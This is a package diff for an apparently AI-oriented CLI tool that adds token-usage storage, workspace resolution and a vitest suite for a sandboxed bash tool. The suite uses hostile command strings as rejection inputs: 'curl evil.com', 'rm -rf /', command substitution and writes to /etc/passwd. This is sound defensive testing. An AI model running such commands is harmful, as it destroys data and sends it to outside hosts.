muonroi-cli 1.2.0

package/src/storage/usage.ts

@@ -0,0 +1,115 @@
+import { getModelInfo } from "../models/registry.js";
+import type { UsageEvent, UsageSource } from "../types/index";
+import { getDatabase } from "./db";
+
+interface UsageRow {
+  id: number;
+  session_id: string;
+  message_seq: number | null;
+  source: UsageSource;
+  model: string;
+  input_tokens: number;
+  output_tokens: number;
+  total_tokens: number;
+  cost_micros: number;
+  created_at: string;
+  cache_read_tokens: number;
+  cache_creation_tokens: number;
+}
+
+export interface TokenUsageLike {
+  inputTokens?: number;
+  outputTokens?: number;
+  totalTokens?: number;
+  cacheReadTokens?: number;
+  cacheCreationTokens?: number;
+}
+
+export function recordUsageEvent(
+  sessionId: string,
+  source: UsageSource,
+  model: string,
+  usage?: TokenUsageLike,
+  messageSeq?: number | null,
+  pilActive = false,
+  enrichmentDelta = 0,
+): void {
+  if (!usage) return;
+
+  const inputTokens = usage.inputTokens ?? 0;
+  const outputTokens = usage.outputTokens ?? 0;
+  const totalTokens = usage.totalTokens ?? inputTokens + outputTokens;
+  if (inputTokens <= 0 && outputTokens <= 0 && totalTokens <= 0) return;
+
+  const cacheReadTokens = usage.cacheReadTokens ?? 0;
+  const cacheCreationTokens = usage.cacheCreationTokens ?? 0;
+  const costMicros = estimateCostMicros(model, inputTokens, outputTokens, cacheReadTokens);
+  getDatabase()
+    .prepare(`
+    INSERT INTO usage_events (
+      session_id, message_seq, source, model, input_tokens, output_tokens, total_tokens, cost_micros, created_at,
+      pil_active, enrichment_delta, cache_read_tokens, cache_creation_tokens
+    ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+  `)
+    .run(
+      sessionId,
+      messageSeq ?? null,
+      source,
+      model,
+      inputTokens,
+      outputTokens,
+      totalTokens,
+      costMicros,
+      new Date().toISOString(),
+      pilActive ? 1 : 0,
+      enrichmentDelta,
+      cacheReadTokens,
+      cacheCreationTokens,
+    );
+}
+
+export function getSessionTotalTokens(sessionId: string): number {
+  const row = getDatabase()
+    .prepare(`
+    SELECT COALESCE(SUM(total_tokens), 0) AS total_tokens
+    FROM usage_events
+    WHERE session_id = ?
+  `)
+    .get(sessionId) as { total_tokens: number } | undefined;
+
+  return row?.total_tokens ?? 0;
+}
+
+export function listSessionUsage(sessionId: string): UsageEvent[] {
+  const rows = getDatabase()
+    .prepare(`
+    SELECT id, session_id, message_seq, source, model, input_tokens, output_tokens, total_tokens, cost_micros, created_at, cache_read_tokens, cache_creation_tokens
+    FROM usage_events
+    WHERE session_id = ?
+    ORDER BY id ASC
+  `)
+    .all(sessionId) as UsageRow[];
+
+  return rows.map((row) => ({
+    id: row.id,
+    sessionId: row.session_id,
+    messageSeq: row.message_seq,
+    source: row.source,
+    model: row.model,
+    inputTokens: row.input_tokens,
+    outputTokens: row.output_tokens,
+    totalTokens: row.total_tokens,
+    costMicros: row.cost_micros,
+    createdAt: new Date(row.created_at),
+    cacheReadTokens: row.cache_read_tokens ?? 0,
+    cacheCreationTokens: row.cache_creation_tokens ?? 0,
+  }));
+}
+
+function estimateCostMicros(model: string, inputTokens: number, outputTokens: number, cacheReadTokens = 0): number {
+  const info = getModelInfo(model);
+  if (!info) return 0;
+  const cachedPrice = info.cachedInputPrice ?? info.inputPrice * 0.1;
+  const nonCachedInput = Math.max(0, inputTokens - cacheReadTokens);
+  return Math.round(nonCachedInput * info.inputPrice + cacheReadTokens * cachedPrice + outputTokens * info.outputPrice);
+}

package/src/storage/workspaces.ts

@@ -0,0 +1,84 @@
+import { createHash } from "crypto";
+import fs from "fs";
+import path from "path";
+import type { WorkspaceInfo } from "../types/index";
+import { findGitRoot } from "../utils/git-root";
+import { getDatabase } from "./db";
+
+interface WorkspaceRow {
+  id: string;
+  scope_key: string;
+  canonical_path: string;
+  git_root: string | null;
+  display_name: string;
+  last_seen_at: string;
+}
+
+export interface ResolvedWorkspace {
+  scopeKey: string;
+  canonicalPath: string;
+  gitRoot: string | null;
+  displayName: string;
+}
+
+export function ensureWorkspace(cwd: string): WorkspaceInfo {
+  const resolved = resolveWorkspace(cwd);
+  const now = new Date().toISOString();
+  const id = createHash("sha1").update(resolved.scopeKey).digest("hex").slice(0, 16);
+  const db = getDatabase();
+
+  db.prepare(`
+    INSERT INTO workspaces (id, scope_key, canonical_path, git_root, display_name, last_seen_at)
+    VALUES (@id, @scope_key, @canonical_path, @git_root, @display_name, @last_seen_at)
+    ON CONFLICT(scope_key) DO UPDATE SET
+      canonical_path = excluded.canonical_path,
+      git_root = excluded.git_root,
+      display_name = excluded.display_name,
+      last_seen_at = excluded.last_seen_at
+  `).run({
+    id,
+    scope_key: resolved.scopeKey,
+    canonical_path: resolved.canonicalPath,
+    git_root: resolved.gitRoot,
+    display_name: resolved.displayName,
+    last_seen_at: now,
+  });
+
+  const row = db
+    .prepare(`
+    SELECT id, scope_key, canonical_path, git_root, display_name, last_seen_at
+    FROM workspaces
+    WHERE scope_key = ?
+  `)
+    .get(resolved.scopeKey) as WorkspaceRow | undefined;
+
+  if (!row) {
+    throw new Error(`Failed to resolve workspace for ${cwd}`);
+  }
+
+  return toWorkspaceInfo(row);
+}
+
+export function resolveWorkspace(cwd: string): ResolvedWorkspace {
+  const canonicalPath = fs.realpathSync.native(cwd);
+  const gitRoot = findGitRoot(canonicalPath);
+  const scopePath = gitRoot || canonicalPath;
+
+  return {
+    scopeKey: scopePath,
+    canonicalPath,
+    gitRoot,
+    displayName: path.basename(scopePath) || "workspace",
+  };
+}
+
+function toWorkspaceInfo(row: WorkspaceRow): WorkspaceInfo {
+  return {
+    id: row.id,
+    scopeKey: row.scope_key,
+    canonicalPath: row.canonical_path,
+    gitRoot: row.git_root,
+    displayName: row.display_name,
+    lastSeenAt: new Date(row.last_seen_at),
+  };
+}

package/src/tools/bash.test.ts

@@ -0,0 +1,336 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+  BashTool,
+  getSandboxMutationBlockReason,
+  shouldRunOnHostInSandboxMode,
+  wrapCommandForShuru,
+  wrapHostBrowserCommand,
+} from "./bash";
+
+const tempDirs: string[] = [];
+
+function makeTempDir(prefix: string): string {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
+  tempDirs.push(dir);
+  return dir;
+}
+
+afterEach(() => {
+  for (const dir of tempDirs.splice(0)) {
+    fs.rmSync(dir, { recursive: true, force: true });
+  }
+});
+
+describe("wrapCommandForShuru", () => {
+  it("wraps a simple command with mount and workspace cd", () => {
+    const result = wrapCommandForShuru("/repo", "echo hi");
+    expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
+  });
+
+  it("handles paths with spaces", () => {
+    const result = wrapCommandForShuru("/my repo", "ls");
+    expect(result).toBe("shuru run --mount '/my repo:/workspace' -- sh -lc 'cd /workspace && ls'");
+  });
+
+  it("escapes single quotes in the command", () => {
+    const result = wrapCommandForShuru("/repo", "echo 'hello world'");
+    expect(result).toContain("'\\''hello world'\\''");
+  });
+
+  it("includes --allow-net when allowNet is true", () => {
+    const result = wrapCommandForShuru("/repo", "curl example.com", { allowNet: true });
+    expect(result).toContain("--allow-net");
+    expect(result).toContain("--mount '/repo:/workspace'");
+  });
+
+  it("includes --allow-host flags for each allowed host", () => {
+    const result = wrapCommandForShuru("/repo", "curl api.openai.com", {
+      allowNet: true,
+      allowedHosts: ["api.openai.com", "registry.npmjs.org"],
+    });
+    expect(result).toContain("--allow-net");
+    expect(result).toContain("--allow-host api.openai.com");
+    expect(result).toContain("--allow-host registry.npmjs.org");
+  });
+
+  it("includes port forwards", () => {
+    const result = wrapCommandForShuru("/repo", "python -m http.server", { ports: ["8080:8000", "8443:443"] });
+    expect(result).toContain("-p 8080:8000");
+    expect(result).toContain("-p 8443:443");
+  });
+
+  it("includes resource limits", () => {
+    const result = wrapCommandForShuru("/repo", "make -j4", { cpus: 4, memory: 4096, diskSize: 8192 });
+    expect(result).toContain("--cpus 4");
+    expect(result).toContain("--memory 4096");
+    expect(result).toContain("--disk-size 8192");
+  });
+
+  it("includes --from checkpoint flag", () => {
+    const result = wrapCommandForShuru("/repo", "python script.py", { from: "py-env" });
+    expect(result).toContain("--from py-env");
+  });
+
+  it("includes --secret flags", () => {
+    const result = wrapCommandForShuru("/repo", "curl https://api.openai.com", {
+      allowNet: true,
+      secrets: [{ name: "API_KEY", fromEnv: "OPENAI_API_KEY", hosts: ["api.openai.com"] }],
+    });
+    expect(result).toContain("--secret API_KEY=OPENAI_API_KEY@api.openai.com");
+  });
+
+  it("combines multiple settings correctly", () => {
+    const result = wrapCommandForShuru("/repo", "echo hi", {
+      allowNet: true,
+      allowedHosts: ["example.com"],
+      cpus: 2,
+      from: "base",
+    });
+    expect(result).toMatch(/^shuru run --cpus 2 --allow-net --allow-host example\.com --from base --mount/);
+  });
+
+  it("uses default empty settings when none provided", () => {
+    const result = wrapCommandForShuru("/repo", "echo hi", {});
+    expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
+  });
+});
+
+describe("shouldRunOnHostInSandboxMode", () => {
+  it("keeps agent-browser on the host when enabled", () => {
+    expect(
+      shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true }),
+    ).toBe(true);
+    expect(
+      shouldRunOnHostInSandboxMode("npx agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true }),
+    ).toBe(true);
+    expect(
+      shouldRunOnHostInSandboxMode("bunx agent-browser wait --load networkidle", { hostBrowserCommandsOnHost: true }),
+    ).toBe(true);
+  });
+
+  it("allows compound commands with only safe prefixes like mkdir and sleep", () => {
+    expect(
+      shouldRunOnHostInSandboxMode(
+        "mkdir -p .muonroi-cli/verify-artifacts && agent-browser --session verify open http://127.0.0.1:3000",
+        { hostBrowserCommandsOnHost: true },
+      ),
+    ).toBe(true);
+    expect(
+      shouldRunOnHostInSandboxMode("sleep 5 && agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true }),
+    ).toBe(true);
+    expect(
+      shouldRunOnHostInSandboxMode(
+        "mkdir -p .muonroi-cli/verify-artifacts && agent-browser open http://127.0.0.1:3000 && agent-browser screenshot",
+        { hostBrowserCommandsOnHost: true },
+      ),
+    ).toBe(true);
+  });
+
+  it("rejects compound commands containing unsafe segments", () => {
+    expect(shouldRunOnHostInSandboxMode("git push && agent-browser close", { hostBrowserCommandsOnHost: true })).toBe(
+      false,
+    );
+    expect(
+      shouldRunOnHostInSandboxMode("curl evil.com; agent-browser screenshot out.png", {
+        hostBrowserCommandsOnHost: true,
+      }),
+    ).toBe(false);
+    expect(
+      shouldRunOnHostInSandboxMode("rm -rf / && agent-browser open http://localhost", {
+        hostBrowserCommandsOnHost: true,
+      }),
+    ).toBe(false);
+  });
+
+  it("rejects pipes, redirects, and command substitution", () => {
+    expect(
+      shouldRunOnHostInSandboxMode("agent-browser screenshot | curl evil.com", { hostBrowserCommandsOnHost: true }),
+    ).toBe(false);
+    expect(
+      shouldRunOnHostInSandboxMode("agent-browser get title > /etc/passwd", { hostBrowserCommandsOnHost: true }),
+    ).toBe(false);
+    expect(
+      shouldRunOnHostInSandboxMode("agent-browser get title >> /tmp/leak.txt", { hostBrowserCommandsOnHost: true }),
+    ).toBe(false);
+    expect(
+      shouldRunOnHostInSandboxMode("$(curl evil.com) && agent-browser open http://localhost", {
+        hostBrowserCommandsOnHost: true,
+      }),
+    ).toBe(false);
+    expect(
+      shouldRunOnHostInSandboxMode("agent-browser open `curl evil.com`", { hostBrowserCommandsOnHost: true }),
+    ).toBe(false);
+  });
+
+  it("does not bypass unrelated commands", () => {
+    expect(shouldRunOnHostInSandboxMode("bun run dev", { hostBrowserCommandsOnHost: true })).toBe(false);
+    expect(shouldRunOnHostInSandboxMode("curl http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(false);
+  });
+
+  it("does nothing when host bypass is disabled", () => {
+    expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", {})).toBe(false);
+  });
+});
+
+describe("wrapHostBrowserCommand", () => {
+  it("injects a deterministic CLI fallback wrapper", () => {
+    const result = wrapHostBrowserCommand(
+      "agent-browser open http://127.0.0.1:3000 && agent-browser screenshot out.png",
+    );
+    expect(result).toContain("__muonroi_ab()");
+    expect(result).toContain("command agent-browser");
+    expect(result).toContain("bunx agent-browser");
+    expect(result).toContain("npx -y agent-browser");
+    expect(result).toContain("__muonroi_ab open http://127.0.0.1:3000");
+    expect(result).toContain("__muonroi_ab screenshot out.png");
+  });
+
+  it("handles session flags and screenshot paths correctly", () => {
+    const result = wrapHostBrowserCommand(
+      "agent-browser --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png",
+    );
+    expect(result).toContain(
+      "__muonroi_ab --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png",
+    );
+  });
+});
+
+describe("getSandboxMutationBlockReason", () => {
+  it("returns null for read-only git commands", () => {
+    expect(getSandboxMutationBlockReason("git status")).toBeNull();
+    expect(getSandboxMutationBlockReason("git diff")).toBeNull();
+    expect(getSandboxMutationBlockReason("git log --oneline")).toBeNull();
+    expect(getSandboxMutationBlockReason("git show HEAD")).toBeNull();
+    expect(getSandboxMutationBlockReason("git rev-parse HEAD")).toBeNull();
+    expect(getSandboxMutationBlockReason("git grep foo")).toBeNull();
+    expect(getSandboxMutationBlockReason("git ls-files")).toBeNull();
+  });
+
+  it("blocks mutating git commands", () => {
+    expect(getSandboxMutationBlockReason("git add .")).toContain("Sandbox mode blocks git commands");
+    expect(getSandboxMutationBlockReason("git commit -m 'test'")).toContain("Sandbox mode blocks git commands");
+    expect(getSandboxMutationBlockReason("git push")).toContain("Sandbox mode blocks git commands");
+    expect(getSandboxMutationBlockReason("git checkout -b new")).toContain("Sandbox mode blocks git commands");
+  });
+
+  it("blocks git inside compound shell expressions", () => {
+    expect(getSandboxMutationBlockReason('echo foo && git commit -m "test"')).toContain(
+      "Sandbox mode blocks git commands",
+    );
+    expect(getSandboxMutationBlockReason('bash -c "git push"')).toContain("Sandbox mode blocks git commands");
+  });
+
+  it("blocks git branch since it can mutate", () => {
+    expect(getSandboxMutationBlockReason("git branch -D feature")).toContain("Sandbox mode blocks git commands");
+    expect(getSandboxMutationBlockReason("git branch new-name")).toContain("Sandbox mode blocks git commands");
+  });
+
+  it("blocks package-manager installs", () => {
+    expect(getSandboxMutationBlockReason("npm install express")).toContain("Package-manager installs");
+    expect(getSandboxMutationBlockReason("yarn add lodash")).toContain("Package-manager installs");
+    expect(getSandboxMutationBlockReason("pnpm install")).toContain("Package-manager installs");
+    expect(getSandboxMutationBlockReason("bun add zod")).toContain("Package-manager installs");
+  });
+
+  it("allows package-manager installs when ephemeral installs are enabled", () => {
+    expect(getSandboxMutationBlockReason("npm install express", { allowEphemeralInstall: true })).toBeNull();
+    expect(getSandboxMutationBlockReason("pnpm install", { allowEphemeralInstall: true })).toBeNull();
+    expect(getSandboxMutationBlockReason("pip install fastapi", { allowEphemeralInstall: true })).toBeNull();
+  });
+
+  it("blocks package-manager installs in compound commands", () => {
+    expect(getSandboxMutationBlockReason("echo foo && npm install express")).toContain("Package-manager installs");
+  });
+
+  it("blocks formatters that rewrite files", () => {
+    expect(getSandboxMutationBlockReason("prettier --write src/")).toContain("formatters");
+    expect(getSandboxMutationBlockReason("biome check --write src/")).toContain("formatters");
+  });
+
+  it("allows safe non-mutating commands", () => {
+    expect(getSandboxMutationBlockReason("ls -la")).toBeNull();
+    expect(getSandboxMutationBlockReason("cat README.md")).toBeNull();
+    expect(getSandboxMutationBlockReason("grep -r foo src/")).toBeNull();
+    expect(getSandboxMutationBlockReason("uname -a")).toBeNull();
+    expect(getSandboxMutationBlockReason("npm run test")).toBeNull();
+    expect(getSandboxMutationBlockReason("node -e 'console.log(1)'")).toBeNull();
+  });
+
+  it("returns null for empty commands", () => {
+    expect(getSandboxMutationBlockReason("")).toBeNull();
+    expect(getSandboxMutationBlockReason("   ")).toBeNull();
+  });
+});
+
+describe("BashTool sandbox state", () => {
+  it("tracks cwd changes independently of sandbox mode", () => {
+    const root = makeTempDir("muonroi-bash-test-");
+    const nested = path.join(root, "nested");
+    fs.mkdirSync(nested);
+    const bash = new BashTool(root, { sandboxMode: "shuru" });
+
+    expect(bash.getCwd()).toBe(root);
+    expect(bash.getSandboxMode()).toBe("shuru");
+  });
+
+  it("can switch sandbox mode at runtime", () => {
+    const bash = new BashTool("/repo", { sandboxMode: "off" });
+
+    expect(bash.getSandboxMode()).toBe("off");
+
+    bash.setSandboxMode("shuru");
+
+    expect(bash.getSandboxMode()).toBe("shuru");
+  });
+
+  it("returns sandbox-aware tool description", () => {
+    const off = new BashTool("/repo", { sandboxMode: "off" });
+    const on = new BashTool("/repo", { sandboxMode: "shuru" });
+
+    expect(off.getToolDescription()).not.toContain("Shuru");
+    expect(on.getToolDescription()).toContain("Shuru sandbox");
+    expect(on.getToolDescription()).toContain("do not persist back to the host");
+  });
+
+  it("stores and returns sandbox settings", () => {
+    const bash = new BashTool("/repo", {
+      sandboxMode: "shuru",
+      sandboxSettings: { allowNet: true, cpus: 4 },
+    });
+
+    expect(bash.getSandboxSettings()).toEqual({ allowNet: true, cpus: 4 });
+  });
+
+  it("can update sandbox settings at runtime", () => {
+    const bash = new BashTool("/repo", { sandboxMode: "shuru" });
+
+    expect(bash.getSandboxSettings()).toEqual({});
+
+    bash.setSandboxSettings({ allowNet: true, allowedHosts: ["api.openai.com"] });
+
+    expect(bash.getSandboxSettings()).toEqual({ allowNet: true, allowedHosts: ["api.openai.com"] });
+  });
+
+  it("includes network status in tool description when allowNet is set", () => {
+    const netOn = new BashTool("/repo", {
+      sandboxMode: "shuru",
+      sandboxSettings: { allowNet: true },
+    });
+    expect(netOn.getToolDescription()).toContain("network access is enabled");
+
+    const netRestricted = new BashTool("/repo", {
+      sandboxMode: "shuru",
+      sandboxSettings: { allowNet: true, allowedHosts: ["api.openai.com"] },
+    });
+    expect(netRestricted.getToolDescription()).toContain("network is restricted to: api.openai.com");
+
+    const netOff = new BashTool("/repo", {
+      sandboxMode: "shuru",
+      sandboxSettings: { allowNet: false },
+    });
+    expect(netOff.getToolDescription()).toContain("network is disabled");
+  });
+});